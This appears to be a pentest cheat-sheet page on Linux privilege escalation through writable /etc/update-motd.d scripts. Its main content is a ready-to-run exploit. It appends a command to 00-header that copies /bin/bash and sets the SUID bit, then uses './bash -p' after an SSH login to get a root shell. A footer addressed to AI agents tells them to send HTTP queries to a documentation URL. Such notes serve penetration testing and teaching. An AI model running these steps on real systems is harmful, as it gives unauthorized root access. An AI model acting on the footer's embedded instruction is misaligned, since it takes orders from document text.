# Update-Motd Privilege Escalation

### [Investigation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/update-motd-privilege-escalation/#investigation) <a href="#investigation" id="investigation"></a>

```bash
ls -al /etc/update-motd.d/
Copied!
```

If we have permission to modify files in this directory, we can inject arbitrary code and execute when logging in.

<br>

### [Exploitation](https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/update-motd-privilege-escalation/#exploitation) <a href="#exploitation" id="exploitation"></a>

Run the following code to copy bash binary and give **`suid`** to this file.\
Replace **`<username>`** with your current user name.

```bash
echo "cp /bin/bash /home/<username>/bash && chmod u+s /home/<username>/bash" >> /etc/update-motd.d/00-header
Copied!
```

After that, log out and log in again with SSH. The above script should be executed.\
Now execute the following command under **`/home/<username>`**.

```bash
./bash -p
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://morgan-bin-bash.gitbook.io/linux-privilege-escalation/update-motd-privilege-escalation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
